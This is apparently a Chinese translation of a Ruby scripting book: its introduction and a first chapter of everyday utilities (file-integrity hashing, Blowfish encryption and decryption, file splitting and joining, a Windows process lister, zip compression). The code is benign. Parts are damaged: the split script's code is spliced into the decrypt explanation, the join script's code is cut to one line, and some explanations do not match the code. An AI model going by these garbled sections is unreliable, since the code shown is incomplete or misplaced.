超酷的-Ruby-脚本编程-全-
超酷的 Ruby 脚本编程(全)
原文:Wicked Cool Ruby Scripts
译者:飞龙
简介

所以你已经阅读了一些关于 Ruby 的入门书籍,你对语法有了很好的感觉,你已经用 20 种不同的优化方式写出了 "Hello, world!"——现在怎么办?这本书旨在通过 Ruby 作为脚本语言来锻炼你的思维。
脚本——即自动化那些你不愿意亲自完成的重复性任务——是一个优秀的语言必须能够做到的事情。Perl 和 Python 是最广为人知的脚本语言之一,它们的流行度与它们在脚本编写方面的实用性直接相关。编写实用工具不应该是一项晦涩的任务,脚本也不应该花费过多的时间去创建。正是在这种精神下,Ruby 诞生了。
Ruby 的设计者,Yukihiro "Matz" Matsumoto,有一个整体的目标,那就是创建一个易于在日常任务中使用的语言。他认为语言应该是有趣的,这样就可以把更多的精力投入到创意过程中,减少压力。当程序员没有被语言的特殊性所分散注意力时,他们可以专注于编写更好的程序。当你需要编写脚本时,你最不想担心的是奇怪的语法和编译器解释你的代码。Ruby 的编写方式使得语法和编程流程自然。我发现 Ruby 的自然语法、优秀的社区和简单的编程观让我感到舒适。正如你将在本书的整个过程中看到的那样,Ruby 使得脚本编写变得轻而易举!
掌握 Ruby 的脚本编写技能是一项无价的技能。你会发现,通过自动化重复性任务,你可以节省大量的时间去做更重要的事情……比如编写其他酷炫的 Ruby 脚本。我希望这本书能帮助你看到 Ruby 的多种用途,并让你成为一个更好的程序员。
酷炫的 Ruby 脚本
什么让一个酷炫的 Ruby 脚本与一个普通脚本区分开来?一个酷炫的脚本是有用的、有挑战性的,最重要的是,它具有教育意义。这里所说的教育意义并不是指学校老师的意思,而是作为一种刺激,使用 Ruby 充分发挥其潜力——将语言推向极限。
你需要 Ruby 的基础知识
我不会专注于教你 Ruby 的基础知识——这本书不是为那些想要学习 Ruby 101 的人准备的。当然,即使你对 Ruby 不够精通,你也可以使用这些脚本并看到 Ruby 的潜在应用。但为了充分利用所提供的信息,我假设你已经熟悉 Ruby,并且不需要解释语言中的简单特性。我将简要地浏览每个脚本,并仅突出最重要的部分。
文档
您可能会注意到书中代码和可在 www.nostarch.com/wcruby.htm/ 下载的源代码之间有一些细微的差异。为了简洁起见,书中源代码中的大部分注释和文档都被移除了。如果我觉得需要清晰度,一些脚本会有更详细的解释。我强烈建议您注释自己的代码,这样您和其他人都能理解它是如何工作的。
注意
当我开始编程时,我花了好几个小时来审查我之前编写的代码,以了解它是如何工作的。经过几轮没有注释的代码学习后,我学到了一个重要的教训——在您记忆清晰的时候注释您的代码。注释的数量取决于您,但养成一个好的编码习惯无疑是值得的。
组织和方式
对于每个脚本,我将向您介绍其逻辑和用法,然后讲解编写脚本所涉及的底层原理。最后,我将让您亲自操作,并建议一些方法,您可以修改脚本以使其更适合自己,并更加灵活。这些脚本可能无法满足您的所有需求,但我的希望是它们能帮助您思考如何编写自己的脚本——通过实例学习。您可以自由下载这些脚本,并按您希望的方式使用它们。
第一章: 通用工具
Ruby 是创建小型日常脚本的理想语言。本章包括用于加密和解密文件、分割和合并文件、压缩和解压缩文件、跟踪文件更改、查看运行进程的完整列表以及计算您的按揭付款等简单任务的实用工具。
第二章: 网站脚本
Ruby 和网络就像马车和马一样相得益彰。如果您熟悉 Ruby,那么您可能已经听说过 Rails,这个推动 Ruby 广泛应用的 Web 框架。本章包含使网站管理、RSS 解析和 Web 表单生成更简单的脚本。您还可以使用本章中的脚本进行质量保证测试,因为它们会检查断开的超链接和孤儿文件。
第三章: Li(U)nix 系统管理
通过使用脚本,系统管理可以变得更加容易,Ruby 是自动化日常系统管理任务的理想语言。本章包括用于管理用户以及检测和终止设备上进程的脚本来进行系统管理。自动化系统管理任务是脚本的主要用途之一,也是最具创造性的领域。
第四章: 图片工具
数码摄影已经成为捕捉和分享记忆的新方式,无论是通过网络、电子邮件还是实体介质。然而,我遇到的一个问题是,我拍摄的图片数量变得令人难以承受。我无法做我以前喜欢的事情,比如整理、润色或与他人分享照片,因为图片太多,我没有足够的时间浏览它们。本章将向您展示自动化调整大小、重命名和组织您的数码照片的繁琐任务的方法。我还会向您展示如何通过在照片上添加水印来保护您的创意作品。对于喜欢分析图片信息的读者,本章还演示了如何从元数据中提取信息。
第五章:游戏和学习工具
本章展示了可以使用 Ruby 开发的简单游戏。你是否已经感受到了数独热潮?数独求解器将比您输入数字所需的时间更短地解决一个谜题。那么,一个互动式的剪刀石头布对手呢?我将向您展示几个其他有趣的脚本,并解释它们,以便您可以制作自己的游戏并娱乐您的朋友。
第六章:字符串工具
Ruby 的文本操作和处理工具非常强大。本章将深入探讨解析逗号分隔值(CSV)文件、生成和操作文档以及搜索文档中的特定字符串。
第七章:服务器和抓取器
在互联网的虚空中,有大量的信息漂浮。本章将向您展示如何提取这些信息并将其放入易于使用的格式中。例如,您可以抓取网站上的所有图片并将它们保存到指定文件夹中,使用特定的命名约定。您将学习如何自动化您的网络浏览器以导航网站、填写表格以及像典型用户一样进行操作。我还会向您展示如何使用 Ruby 脚本自动向您的朋友发送短信。
第八章:参数和文档
在阅读完这本书之后,您将很好地理解如何在现实世界中使用 Ruby。本章将向您展示如何润色并给您的酷炫脚本添加最后的修饰。您将能够迅速编写自己的专业脚本!
第九章:排序算法
本章收集了在学术界流行的排序算法,以及一些值得了解的算法。这些算法使用 Unit:Test 库进行分析和测试,以展示性能和效率的差异。由于任何给定问题都有无数种解决方案,拥有多个选项将增加你选择最合适答案的机会。你可以使用 Unit:Test 库来发现哪些方法是最高效和最有效的。
第十章:使用 Ruby 编写 Metasploit 3.1 模块
计算机安全是一个快速发展的领域,Metasploit 是可用于安全研究的一个工具。本章结合了我最喜欢的两个主题,并展示了如何使用 Ruby 和 Metasploit 编写一个漏洞利用程序。我们将一步步指导你如何编写一个自定义的漏洞利用程序。
网站信息
本书官方网站为www.nostarch.com/wcruby.htm/。在这里,你可以下载本书中的所有脚本,以及获取关于更改和更新的最新信息。你还可以找到勘误表,其中将包含任何需要的修正(如果你遇到困难,请务必查看此页面)。
第一章。通用工具

在任何编程语言中,脚本都是解决频繁执行任务的解决方案。如果你发现自己在想:“难道不能让一个机器人或训练有素的猴子来做这项工作吗?”那么使用 Ruby 进行脚本编写可能就是下一个最佳选择。为频繁执行的任务编写脚本可以使你的工作和计算体验尽可能高效。谁不想用更少的时间和精力完成工作呢?当你浏览这些示例时,我鼓励你写下自己脚本的想法。一旦你完成这本书,你可能会有一份想要编写的脚本清单,或者至少是一些对我脚本的有用修订。你准备好了吗?让我们开始吧!
检查已更改的文件
检查已更改的文件
changedFiles.rb
此脚本的目的是验证文件完整性。虽然听起来用途很普通,但其应用范围很广:如果你无法信任你电脑上的文件内容,那么你也无法信任你的电脑。你能知道是否有恶意蠕虫或病毒修改了你的系统中的文件吗?如果你认为你的杀毒软件已经为你提供了保护,那么再想想——大多数杀毒软件只检查已知的病毒及其签名。文件完整性验证在日常的实际任务中得到了广泛应用,例如数字取证和追踪恶意逻辑的行为。下面展示了一种跟踪文件完整性的方法。
代码
require 'find' require 'digest/md5' unless ARGV[0] and File.directory?(ARGV[0]) puts "\n\n\n 您需要指定一个根目录: changedFiles.rb <directory>\n\n\n" exit end  root = ARGV[0] oldfile_hash = Hash.new newfile_hash = Hash.new file_report = "#{root}/analysis_report.txt" file_output = "#{root}/file_list.txt" oldfile_output = "#{root}/file_list.old"  if File.exists?(file_output) File.rename(file_output, oldfile_output) File.open(oldfile_output, 'rb') do |infile| while (temp = infile.gets) line = /(.+)\s{5,5}(\w{32,32})/.match(temp) puts "#{line[1]} ---> #{line[2]}" oldfile_hash[line[1]] = line[2] end end end  Find.find(root) do |file| next if /^\./.match(file) next unless File.file?(file) begin newfile_hash[file] = Digest::MD5.hexdigest(File.read(file)) rescue puts "Error reading #{file} --- MD5 hash not computed." end end report = File.new(file_report, 'wb') changed_files = File.new(file_output, 'wb') newfile_hash.each do |file, md5| changed_files.puts "#{file} #{md5}" end  newfile_hash.keys.select { |file| newfile_hash[file] == oldfile_hash[file] }.each do |file| newfile_hash.delete(file) oldfile_hash.delete(file) end  newfile_hash.each do |file, md5| **` report.puts "#{oldfile_hash[file] ? "Changed" : "Added"} file: #{file}`** **`#{md5}"`** oldfile_hash.delete(file) end  oldfile_hash.each do |file, md5| report.puts "Deleted/Moved file: #{file} #{md5}" end report.close changed_files.close
运行代码
通过以下命令执行此脚本:
**`ruby changedFiles.rb`** *`/path/to/check/`*
您可以添加多个目录进行爬取,但子目录将自动进行验证。脚本将自动确定目录是否存在,并将其添加到爬虫的队列中。
结果
该脚本最初将生成两个独立的文件(changed.files 和 file_report.txt)。这两个文件都将包含脚本扫描的所有文件的名称和 MD5 哈希:
添加文件: fileSplit.rb d79c592af618266188a9a49f91fe0453 添加文件: fileJoin.rb 5aedfe682e300dcc164ebbdebdcd8875 添加文件: win32RegCheck.rb c0d26b249709cd91a0c8c14b65304aa7 添加文件: changedFiles.rb c2760bfe406a6d88e04f8969b4287b4c 添加文件: encrypt.rb 08caf04913b4a6d1f8a671ea28b86ed2 添加文件: decrypt.rb 90f68b4f65bb9e9a279cd78b182949d4 添加文件: file_report.txt d41d8cd98f00b204e9800998ecf8427e 添加文件: changed.files d41d8cd98f00b204e9800998ecf8427e 添加文件: test.txt a0cbe4bbf691bbb2a943f8d898c1b242 添加文件: test.txt.rsplit1 35d5b2e522160ce3b3b98d2d4ad2a86e 添加文件: test.txt.rsplit2 a65dde64f16a4441ff1619e734207528 添加文件: test.txt.rsplit3 264b40b40103a4a3d82a40f82201a186 添加文件: test.txt.rsplit4 943600762a52864780b9b9f0614a470a 添加文件: test.txt.rsplit5 131c8aa7155483e7d7a999bf6e2e21c0 添加文件: test.txt.rsplit6 1ce31f6fbeb01cbed6c579be2608e56c
在脚本运行第二次之后,根目录下将出现三个文件。其中两个文件,changed.files 和 old_changed.files,是存储 MD5 哈希的地方;第三个文件,file_report.txt,是一个显示结果的文本文件。脚本将比较 changed.files 中列出的所有文件的 MD5 哈希与 old_changed.files 中的哈希值,并返回任何找到的差异。以下是一个示例:
已更改文件: old_changed.files 45de547aef9366eeaeb1b565dff1e1a3 删除/移动文件: test.txt.rsplit4 943600762a52864780b9b9f0614a470a 删除/移动文件: test.txt.rsplit5 131c8aa7155483e7d7a999bf6e2e21c0 删除/移动文件: test.txt.rsplit6 1ce31f6fbeb01cbed6c579be2608e56c 删除/移动文件: test.txt.rsplit1 35d5b2e522160ce3b3b98d2d4ad2a86e 删除/移动文件: test.txt.rsplit2 a65dde64f16a4441ff1619e734207528 删除/移动文件: test.txt.rsplit3 264b40b40103a4a3d82a40f82201a186
它是如何工作的
这个脚本非常适合验证您硬盘驱动器的内容,并确保它们没有被篡改。脚本首先确认用户提供的参数是否包含在内,并且提供了一个有效的目录。接下来是初始化脚本中使用的变量。root 变量包含要扫描的根目录,创建了两个哈希值,将用于比较文件及其 MD5 哈希,最后指定了要使用的文件名
。根据脚本是否之前已经运行过,脚本输出将保存在两个或三个文件中。主文件 file_report.txt 用于读取输出,其他两个文件用于存储 MD5 哈希列表。
接下来,脚本会检查是否之前已经运行过,通过查找file_list.txt
。如果找不到文件,脚本将继续执行。如果找到file_list.txt,脚本会立即重命名该文件。重命名的文件随后被打开,并读取其内容。对于文件中的每一行,脚本都会读取一个文件名和 MD5 哈希值,并将这些存储在oldfile_hash中以供后续比较。一旦oldfile_hash被填充,脚本就准备好开始计算新的 MD5 哈希值并比较结果。
当脚本遍历目录树时,它将遍历每个对象
。Find.find方法是一种强大的递归方式,用于检索目录及其子目录中的文件。代码块将在找到的每个文件上运行。第一条语句是查找"."和"..",出于明显的原因,这些将被跳过。如果对象是目录,脚本将对其进行跳过处理并继续。如果项目是文件,则生成哈希值并存储以供后续使用。哈希过程被包围在一个begin/rescue块中,以防出现严重错误。
信息收集的大部分工作现在已经完成。剩下要做的就是确定每个文件的状态。如果一个文件具有相同的名称和 MD5 哈希值,则表示文件未更改,脚本将移除输出哈希中的文件名。除了未更改之外,文件还可以归入以下三个类别之一。第一个是已删除或移动,这是通过检查文件在过去的扫描中存在但当前扫描中不存在来确定的
。接下来是已更改类别。如果文件名存在,但 MD5 哈希值与之前的扫描不同,则表示文件已被更改
。在这个阶段,为了代码的可读性,我使用了三元运算符,它是if/then/else语句的缩写。所以,这表示如果文件存在于oldfile_hash中,则将其标记为已更改,否则标记为新增;因为文件之前不存在,所以自上次扫描以来已添加
。所有数据都已保存,并生成报告,以便用户了解每个文件的状态。如果出现任何异常情况,则需要进一步分析。
有几个软件包执行类似的计算以用于安全目的,但上述方法是很好的替代方案,而且价格也合适。为了增强安全性,可以将输出文件存储在单独的介质上,但出于简单起见,我通常将它们留在顶级目录中。
操纵脚本
此脚本可以被修改以使用任何数量的哈希算法。我选择了 MD5,因为它在检查文件完整性方面最为流行(尽管其哈希值容易受到碰撞攻击)。此脚本在 Microsoft Windows 和类 Unix 系统上都能运行。跨平台脚本始终是一个加分项!
其他对脚本的潜在更改包括对哈希文件进行加密以增加保护或将其结果接口到数据库中。该脚本有许多潜在用途,我将留给你们去进一步调查。如果你对加密感兴趣,请查看下一脚本。
加密文件
加密文件
encrypt.rb
你有多少次听说有人在拍卖网站上出售他们的电脑,结果后来发现他们的敏感信息已经在互联网上泄露了?还有企业间谍活动,或者所有那些丢失的政府笔记本电脑呢?如果你和网络安全专家交谈,他们给出的第一个建议之一就是加密敏感信息。你总是可以购买一个为你做这件事的程序,但这没有乐趣。让我们编写自己的加密脚本!有许多加密算法可供选择,它们具有不同的强度级别。在这个例子中,我将使用 Blowfish,这是一种非常快、对称的分组密码。
代码
 require 'crypt/blowfish' unless ARGV[0] puts "用法:ruby encrypt.rb <文件名.ext>" puts "示例:ruby encrypt.rb secret.stuff" exit end #接收要加密的文件名作为参数 filename = ARGV[0].chomp puts filename  c = "Encrypted_#{filename}"  if File.exists?(c) puts "文件已存在。" exit end  print '请输入您的加密密钥(1-56 字节):' kee = gets.chomp  begin  blowfish = Crypt::Blowfish.new(kee)  blowfish.encrypt_file(filename.to_str, c) puts '加密成功!'  rescue Exception => e puts "加密过程中发生错误:\n #{e}" end
运行代码
你必须在你的系统上安装 Ruby gem crypt——在控制台使用命令gem install crypt来安装加密库。此加密脚本通过命令提示符访问。要运行,请输入:
**`ruby encryption.rb`** *`/path/of/file/to/encrypt`*
您将被提示输入密码:
请输入您的加密密钥(1-56 个字符):
警告
记住你的密码,否则你将无法解密你的文件!
现在按回车键,如果加密成功,你将看到这条消息:
加密成功!
查看此脚本所在的文件夹;你会看到新的加密文件,命名为Encrypted_
结果
对于上面的示例,我使用了一个包含以下内容的纯文本文件:
Wicked Cool Ruby Scripts
在脚本完成文件加密后,它将输出一条成功消息。然后你可以尝试查看文件。如果你忘记了密码,祝你好运解密:
qo".1>°<|šã_8tÃhÞí}"f-%◦1ð»=ðrþ¡.,
正如你所见,结果与原始明文完全不相似。
工作原理
在第一行,我包含了用于加密的库:crypt/blowfish ![图片。请注意,您可以将此更改为使用其他算法,例如 Rijndael 或 GOST。
行开始创建我们的加密文件。在 Ruby 中创建文件非常简单。如您所见,我使用了一个快捷方式来命名文件,通过在字符串中包含变量(filename)在同一行中,命名为 Encrypted_#{filename}。我喜欢有在文本字符串中包含变量的选项,所以您会看到我在整本书中都会使用它们。
接下来,我们检查加密的文件名是否已经存在。我们不希望脚本随意覆盖文件——这样很容易丢失数据。如果没有冲突,脚本将继续
。现在脚本知道加密文件尚未创建,需要用户提供一个加密密钥或密码。脚本要求提供一个 1 到 56 个字符的密钥
。一旦收集到所有必要的信息,脚本开始一个 begin/rescue 错误处理块
。脚本最后也是最重要的部分是实际的数据加密。使用传递给参数的加密密钥创建一个新的加密对象
。然后文件被传递到 encrypt_file 方法,嗖——文件被加密
。如果在加密阶段遇到任何错误,rescue 块会捕获它们并优雅地退出脚本,报告具体的错误
。
漏洞脚本
您可以通过多种方式修改此脚本。例如,您可以将其作为另一个程序的模块化部分,更改加密算法,分层加密,在加密后自动删除明文文件,或加密整个目录。
接下来,我们将探讨如何逆向这个过程并恢复我们的信息。
解密文件
解密文件
decrypt.rb
此代码的结构与加密算法非常相似,所以我将重点放在两者之间的区别上。我使用与加密时相同的算法进行解密。如前所述,您可以使用任意数量的加密算法——只需确保使用相应的解密算法。不要忘记您的密码,否则如果您想再次看到您的数据,您将不得不编写自己的暴力破解脚本!
代码
require 'crypt/blowfish' unless ARGV[0] puts "用法:ruby decrypt.rb <加密文件名.ext>" puts "示例:ruby decrypt.rb Encrypted_secret.stuff" exit end  filename = ARGV[0].chomp puts "正在解密 #{filename}。" p = "Decrypted_#{filename}"  if File.exists?(p) puts "文件已存在。" exit end  print '输入你的加密密钥:' kee = gets.chomp begin  blowfish = Crypt::Blowfish.new(kee) blowfish.decrypt_file(filename.to_str, p) puts '解密成功!'  rescue Exception => e puts "解密过程中发生错误:\n #{e}" end
运行代码
代码执行简单;只需输入解密脚本的名称,然后输入你希望解密的文件名:
**`ruby decrypt.rb`** *`encrypted_filename.ext`*
Ruby 脚本将提示你输入加密密钥。记住,你必须有用于加密文件的密钥才能解密它。如果没有,那么除了暴力破解之外,没有其他方法可以恢复文件,而这可能比你愿意花费的时间要长得多。
结果
文件内容之前:qo".1>°<|šã_8tÃhÞí}"f-%◦1ð»=ðrþ¡., 文件内容之后:Wicked Cool Ruby Scripts
如预期的那样,解密脚本将密文干净地转换回明文。如果你有时间,尝试使用错误的密钥并检查输出。它看起来会像密文一样晦涩难懂。
工作原理
脚本首先从命令行参数中获取文件名,并初始化将要使用的变量 if ARGV.size != 2 puts "Usage: ruby fileSplit.rb <filename.ext> <size_of_pieces_in_bytes>" puts "Example: ruby fileSplit.rb myfile.txt 10" exit end filename = ARGV[0] size_of_split = ARGV[1]  if File.exists?(filename) file = File.open(filename, "r") size = size_of_split.to_i puts "The file is #{File.size(filename)} bytes."  temp = File.size(filename).divmod(size) pieces = temp[0] extra = temp[1] puts "\nSplitting the file into #{pieces} (#{size} byte) pieces and 1 (#{extra} byte) piece"  pieces.times do |n| f = File.open("#{filename}.rsplit#{n}", "w") f.puts file.read(size) end  e = File.open("#{filename}.rsplit#{pieces}", "w") e.puts file.read(extra) else puts "\n\nFile does NOT exist, please check filename." end
运行代码
在一个全新的目录中运行此脚本,并包含你想要分割的文件,是最简单的方法。像之前的脚本一样,首先输入:
**`ruby fileSplit.rb`** *`path/to/file size_of_pieces_in_bytes`*
如果你想要将一个 10KB 的文件分割成 1,000 字节(或 1KB)的片段,脚本将会创建 10 个单独的文件,分别标记为
**`ruby fileSplit.rb test.txt 1000`**
结果
在本例中使用的初始文件名为 test.txt,结果如下所示:
test.txt.rsplit0 test.txt.rsplit1 test.txt.rsplit2 test.txt.rsplit3 test.txt.rsplit4 test.txt.rsplit5 test.txt.rsplit6 test.txt.rsplit7 test.txt.rsplit8 test.txt.rsplit9
工作原理
如果你面临着一个棘手的公司网络策略,限制了允许传输的文件大小,或者如果你正在寻找一种更可靠的传输大文件的方法,这个实用程序将能帮上大忙。我遇到了公司环境中的这种情况,我知道文件大小的限制,因此我能够硬编码文件大小。然而,你可以使用你需要的任何大小,或者将其作为脚本中的一个选项。
脚本首先从 ARGV 数组中读取前两个项目:要分割的文件名和每个部分的尺寸。如果这两个变量,filename 和 size,没有指定,脚本将显示 正确用法
。
接下来,脚本确保你正在尝试分割一个真实文件
。除以零很困难,分割一个不存在的文件则更加困难。如果找不到文件,脚本将退出并显示错误信息,告知用户文件名有问题。希望文件能被找到,脚本开始为分割做准备。
正如你所知,文件可以是任何大小,而且很少能被你选择的字节数完美分割。为了处理动态文件大小,脚本使用divmod——divmod将两个数字相除,返回一个包含商和余数的数组。在这个脚本中,pieces是商,而extra是余数
。
为了保持文件的完整性,分割片段是通过一次读取一个字节并将二进制写入输出创建的。这一部分是魔法发生的地方
。首先写入整个片段,然后写入额外的片段
。
漏洞脚本
如果你想要扩展代码,一个完美的补充就是在分割文件之前添加一个压缩程序。我稍后会更多地讨论压缩。另一个使脚本更具灵活性的方法是为分割文件到特定数量的片段添加一个选项,无论大小如何。你也可以修改这个脚本以创建符合你选择的媒体格式的文件片段,无论是 700MB 的光盘还是 2.88MB 的软盘。
文件连接
文件连接
fileJoin.rb
这个脚本也是为了我的朋友而写的,知道如果他无法重建文件,他会非常沮丧。这是文件分割脚本的配套脚本,如果你愿意,可以将这两个脚本放在一个包装器中。(包装器是将两个脚本结合在一起的一个工具。)我这里将它们分开是为了教学目的。这个文件连接脚本只适用于之前分割过的文件(参见文件分割中的“#4 文件分割”);然而,你可以调整它以满足你的需求。
代码
`
if ARGV.size != 1
运行代码
脚本不支持更改目录,所以请确保它位于你想要连接的文件所在的同一目录中。要运行脚本,请输入:
**`ruby fileJoin.rb`** *`filename.ext`*
结果
使用文件分割脚本输出的文件,输入应该是要重新组装的文件名,如下所示:
读取文件:test.txt.rsplit0 读取文件:test.txt.rsplit1 读取文件:test.txt.rsplit2 读取文件:test.txt.rsplit3 读取文件:test.txt.rsplit4 读取文件:test.txt.rsplit5 读取文件:test.txt.rsplit6 读取文件:test.txt.rsplit7 读取文件:test.txt.rsplit8 读取文件:test.txt.rsplit9 成功! 文件已重建。
脚本运行后,组装的文件将被命名为New.test.txt。
被连接的新文件将在脚本所在的同一目录中找到。每个.rsplit片段仍然存在,以防在重建文件时出现任何错误。一旦找到文件并打开它,内容应该与分割文件之前完全相同。你可以比较旧的和新的 MD5 散列值来亲自查看(见检查更改的文件中的“#1 检查更改的文件”)。
工作原理
脚本首先获取被分割的文件的原始文件名。如果没有提供命令行参数,脚本将报错,并且你必须再次尝试!
。如果提供了文件名,脚本将检查是否有与该文件名对应的片段!
。如果没有,它将再次报错,表示找不到文件。
找到第一块后,脚本创建输出文件
。接下来,使用 while 循环确保只将下一个连续的片段附加到主体
。只要存在“下一个片段”,脚本就会继续将数据附加到输出文件。由于每个分割片段的数据末尾都有一个换行符,我们使用chomp方法确保只流式传输原始数据
。
将所有片段附加到输出文件后,输出文件将被关闭。将显示一个成功的消息,并且脚本退出。现在你可以检查新文件以验证它是否完美恢复。
漏洞脚本
如果你信任脚本,你可以对其进行调整以清理自身,删除所有的 .rsplit 片段。你还可以在分割前后计算文件的 MD5 散列值以验证其真实性。
Windows 进程查看器
Windows 进程查看器
listWin Processes.rb
Windows 任务管理器中的进程查看器可能会非常令人沮丧,因为信息不足。如果你曾在类 Unix 系统中使用过 ps 命令,你就会知道除了进程名称、CPU/内存使用情况和进程所有者之外,还有多少信息可用。一些应用程序在进程查看器中创建了详细条目,这些任务很容易识别,但其他应用程序有一些模糊的名称,对你没有任何帮助。有另一种方式查看进程很方便,因为你可以根据需要自定义脚本,以显示对你来说真正重要的信息。这个脚本演示了如何检索每个可用的进程属性。
代码
 require 'win32ole'  ps = WIN32OLE.connect("winmgmts:\\\\.")  ps.InstancesOf("win32_process").each do |p|  puts "进程: #{p.name}" puts "\tID: #{p.processid}" puts "\t 路径:#{p.executablepath}" puts "\t 线程数: #{p.threadcount}" puts "\t 优先级: #{p.priority}" puts "\t 命令行参数: #{p.commandline}" end
运行代码
脚本编写得可以独立运行,并显示每个进程的信息。根据需要添加和删除脚本中的属性。
结果
进程: winlogon.exe ID: 1296 路径:C:\WINDOWS\system32\winlogon.exe 线程数: 22 优先级: 13 命令行参数: winlogon.exe 进程: services.exe ID: 1348 路径:C:\WINDOWS\system32\services.exe 线程数: 15 优先级: 9 命令行参数: C:\WINDOWS\system32\services.exe 进程: explorer.exe ID: 1240 路径:C:\WINDOWS\Explorer.EXE 线程数: 14 优先级: 8 命令行参数: C:\WINDOWS\Explorer.EXE 进程: svchost.exe ID: 3836 路径:C:\WINDOWS\System32\svchost.exe 线程数: 8 优先级: 8 命令行参数: C:\WINDOWS\System32\svchost.exe -k HTTPFilter 进程: firefox.exe ID: 2140 路径:C:\Program Files\Mozilla Firefox\firefox.exe 线程数: 7 优先级: 8 命令行参数: "C:\Program Files\Mozilla Firefox\firefox.exe" 进程: cmd.exe ID: 1528 路径:C:\WINDOWS\system32\cmd.exe 线程数: 1 优先级: 8 命令行参数: "C:\WINDOWS\system32\cmd.exe" 进程: ruby.exe ID: 244 路径:c:\ruby\bin\ruby.exe 线程数: 4 优先级: 8 命令行参数: ruby ListWinProcesses.rb
工作原理
对于与 Windows 操作系统的大多数交互,我使用 win32ole 库
。这个库非常有用,我将在后面的章节中用它演示更多的自动化。脚本的第一个部分是初始化 winmgmts,这使得脚本可以与 Windows 内部方法交互
。Winmgmts 是 Windows Management Interface (WMI)。WMI 有很多有用的工具,如果你对 Windows 脚本编写感兴趣,可以进一步探索。我把我实例化的 WMI 命名为 ps,因为它让我想起了 Unix 风格系统中的 ps 方法。
接下来,脚本迭代所有 win32_process 的实例。这是找到所有进程并提取信息的地方
。我用于脚本的属性包括 进程名称、ID、路径、运行的线程、优先级 和 命令行参数。我发现知道命令行参数在我想从其他脚本或命令行调用程序时很有用
。
破解脚本
如果你想查看每个进程的所有信息,你可以从 WMI 属性类中包含以下属性。有很多可能的配置可以满足你的需求。
| WMI 进程类属性 | ||
|---|---|---|
Caption |
OSCreationClassName |
QuotaPeakPagedPoolUsage |
CommandLine |
OSName |
ReadOperationCount |
CreationClassName |
OtherOperationCount |
ReadTransferCount |
CreationDate |
OtherTransferCount |
SessionId |
CSCreationClassName |
PageFaults |
Status |
CSName |
PageFileUsage |
TerminationDate |
Description |
ParentProcessId |
ThreadCount |
ExecutablePath |
PeakPageFileUsage |
UserModeTime |
ExecutionState |
PeakVirtualSize |
VirtualSize |
Handle |
PeakWorkingSetSize |
WindowsVersion |
HandleCount |
Priority |
WorkingSetSize |
InstallDate |
PrivatePageCount |
WriteOperationCount |
KernelModeTime |
ProcessId |
WriteTransferCount |
MaximumWorkingSetSize |
QuotaNonPagedPoolUsage |
WorkingSetSize |
MinimumWorkingSetSize |
QuotaPagedPoolUsage |
|
Name |
QuotaPeakNonPagedPoolUsage |
虽然上述列表包含了 WMI 进程类的所有属性,但还有几个其他的操作系统类——每个类都有其自己的属性。要使用与不同操作系统类相同的脚本,请将
中的 win32_process 替换为另一个 WMI 类。例如,registry 将会是 win32_registry。
文件压缩器
文件压缩器
compress.rb
当你开始谈论数据存储时,能够有效地压缩文件是一个重要的资产。压缩越高效,在相同的空间内可以存储的信息就越多。目前有两个流行的 Ruby 压缩库正在使用。第一个是 ruby-zlib,第二个是 rubyzip。它们各有优缺点,我将留给您选择适合您目的的压缩算法。在下面的脚本中,我将使用 rubyzip。
代码
require 'zip/zip'  unless ARGV[0] puts "Usage: ruby compress.rb <filename.ext>" puts "Example: ruby compress.rb myfile.exe" exit end file = ARGV[0].chomp  if File.exists?(file) print "Enter zip filename:" zip = "#{gets.chomp}.zip"  Zip::ZipFile.open(zip, true) do |zipfile|  begin puts "#{file} is being added to the archive."  zipfile.add(file,file)  rescue Exception => e puts "Error adding to zipfile: \n #{e}" end end else puts "\nFile could not be found." end
运行代码
此脚本允许用户压缩不同类型的文件,无论是为了节省空间还是为了便于存档。使用以下命令调用脚本:
**`ruby compress.rb`** *`/path/to/file`*
结果
脚本将使用用户在提示中提供的名称,通过命令行指定的文件创建一个压缩存档。在这个例子中,我将chapter1.odt压缩成了nostarch.zip。在压缩之前,chapter1.odt的大小是 29.1KB,压缩后变成了 26.3KB。文件将存储在脚本执行的同一目录中。
工作原理
当脚本运行时,首先进行错误处理检查以确保用户已提供要压缩的文件
。如果已提供文件名,则会检查文件是否可用。始终,如果我们想要操作的物体不可用,就没有继续下去的意义。如果文件不存在,脚本会提醒用户并立即退出
。如果文件存在且已验证,则会要求用户命名 Zip 文件。在用户输入文件名并按下 ENTER 键后,脚本继续执行。请注意,按下 ENTER 键时,会将\n(换行字符)添加到字符流中,并将其作为用户输入发送到脚本。您会注意到使用了chomp来移除用户按下 ENTER 时添加的\n。
用于压缩文件的代码很简单。如上所示,在
行,该部分将打开一个现有的 Zip 文件(如果可用且第二个参数设置为true),如果文件不存在,则会创建一个新的 Zip 文件。这些选项与 File 库中的open方法类似。
有时会发生错误。在这个脚本中,最脆弱的地方是在压缩过程中向 Zip 文件添加文件时。
处的begin/rescue块用于处理意外错误并向用户提供有关任何问题的信息。如果发生错误,rescue块将被执行,脚本将退出,并显示错误信息
。
每个被添加到 Zip 文件中的文件都使用add方法保存
。你可以从这一部分在 Zip 文件中创建目录,或者即时写入全新的文件。基本上,Zip 文件系统可以像你的计算机上的任何正常目录一样处理。语法略有不同,但结果相同。
rubyzip 库非常出色,因为它允许你打开 Zip 文件并操作内容,而无需解压整个存档。此外,与 tar 和 gz 将文件分组然后压缩不同,rubyzip 只需一个命令就能完成所有这些操作。
文件解压
文件解压
decompress.rb
此脚本展示了如何解压文件的基本方法。rubyzip 库为你完成所有工作。在标准的类 Unix 系统中,你将需要手动解压文件,执行任务,然后重新压缩文件。使用 rubyzip,你可以使用一个无缝的库来处理存档中的文件。此脚本将存档完全解压到用户指定的目录。
代码
require 'zip/zip' require 'fileutils' unless ARGV[0] puts "用法: ruby decompress.rb <zipfilename.zip>" puts "示例: ruby decompress.rb myfile.zip" exit end archive = ARGV[0].chomp  if File.exists?(archive) print "输入保存文件的路径(\'.\'表示同一目录): "  extract_dir = gets.chomp  begin  Zip::ZipFile::open(archive) do |zipfile| zipfile.each do |f|  path = File.join(extract_dir, f.name) FileUtils.mkdir_p(File.dirname(path)) zipfile.extract(f, path) end end  rescue Exception => e puts e end else puts "解压过程中发生错误:\n #{e}" end
运行代码
解压脚本的使用方式与压缩脚本类似,需要将需要解压的文件作为命令行参数传入。
**`ruby decompress.rb`** *`/path/to/compressed/file`*
结果
